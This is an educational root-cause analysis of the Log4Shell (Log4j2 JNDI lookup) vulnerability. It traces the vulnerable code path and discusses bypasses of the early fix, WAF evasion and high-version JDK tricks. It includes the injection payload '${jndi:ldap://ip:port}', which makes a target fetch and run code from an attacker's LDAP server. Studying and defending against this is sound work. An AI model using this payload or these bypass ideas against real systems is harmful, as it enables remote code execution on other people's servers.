Companion code: top50vulns_2023 (recommended to read together).
Root Cause
This vulnerability stems from an official Log4j feature called Message Lookup Substitution, which dynamically resolves certain placeholders.
For example, Running ${java:runtime} may be resolved into something like Running Java version 1.8xxx.
The docs describe it like this:
The JavaLookup allows Java environment information to be retrieved in convenient preformatted strings using the java: prefix.
You can retrieve Java-related information with keys such as:
| Key | Description |
|---|---|
| version | The short Java version, like:Java version 1.7.0_67 |
| runtime | The Java runtime version, like:Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation |
| vm | The Java VM version, like:Java HotSpot(TM) 64-Bit Server VM (build 24.65-b04, mixed mode) |
| os | The OS version, like:Windows 7 6.1 Service Pack 1, architecture: amd64-64 |
| locale | System locale and file encoding information, like:default locale: en_US, platform encoding: Cp1252 |
| hw | Hardware information, like:processors: 4, architecture: amd64-64, instruction sets: amd64 |
Log4j also provides JNDI lookups, which is where the vulnerability comes from.
JNDI Lookup
As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.
The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java
The JNDI Lookup only supports the java protocol or no protocol (as shown in the example below).
Example configuration:
<File name="Application" fileName="application.log"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern> </PatternLayout></File>Because JNDI lookup exists, the vulnerability becomes possible. When JNDI is used together with LDAP, Log4j may fetch a remote Java class and deserialize/instantiate it. During that process, attacker-controlled code can run, leading to deserialization/RCE.
Payload example: ${jndi:ldap://ip:port}
Analysis & Reproduction
Let’s build a demo to reproduce Log4Shell.
In Log4j2 there is an interface named StrLookup:
package org.apache.logging.log4j.core.lookup;
import org.apache.logging.log4j.core.LogEvent;
public interface StrLookup { String CATEGORY = "Lookup";
String lookup(String key);
String lookup(LogEvent event, String key);}When Log4j2 sees a placeholder like ${prefix:key}, it will call the corresponding StrLookup implementation.
These implementations are stored in Interpolator as a Map<String, StrLookup>. You can set a breakpoint in project code and inspect what gets registered into Interpolator.

When prefix is present, Interpolator.lookup will call the lookup method of the StrLookup mapped to that prefix. When prefix is jndi, this becomes JNDI injection:


The key part of this vulnerability is how the converter for msg (the MessagePatternConverter plugin instance) handles message content. In most scenarios, the “message” is attacker-controlled. MessagePatternConverter parses ${prefix:key} patterns and resolves them. When the prefix is jndi, it becomes exploitable.
The high-level flow:
When Log4j starts processing, AbstractOutputStreamAppender.directEncodeEvent obtains the layout and calls its encode method:

In the default layout, PatternLayout.encode calls toText:

toText obtains the serializer and calls toSerializable:

Inside toSerializable, it iterates and uses the appropriate converter to process the input:


Going further, in MessagePatternConverter it processes the ${prefix:key} syntax:

You might notice differences like offset=68 and count=99 (a 31-character gap):


That’s because formatTo extracts the ${prefix:key} substring, reducing the length (31 in my case):




After that, Log4j calls into the lookup machinery (select the proper StrLookup and resolve the key). Eventually it reaches JndiManager.lookup and triggers an LDAP lookup:



At this point, start a malicious JNDI server and point the payload to it:


About Bypasses
The RC1 fix can be bypassed, but only when developers manually enable log4j2.formatMsgLookups=true or configure a layout like %msg{lookups}%n. Even so, it’s still a meaningful learning case.
For log4j2-rc1 with those settings enabled, there are still allowlists and stricter checks. But if a URISyntaxException is thrown, those restrictions can be bypassed: after the exception is caught, the logic re-enters the JNDI injection flow.
The fix commit is here:
https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658
Since the overall flow is similar, I won’t reproduce it again here.

For WAF bypasses, the basic idea is to abuse Log4j’s recursive/iterative parsing to build payloads, though most modern defenses can block them.
For high-version JDK bypass ideas, you can look into classes like org.apache.naming.factory.BeanFactory, etc.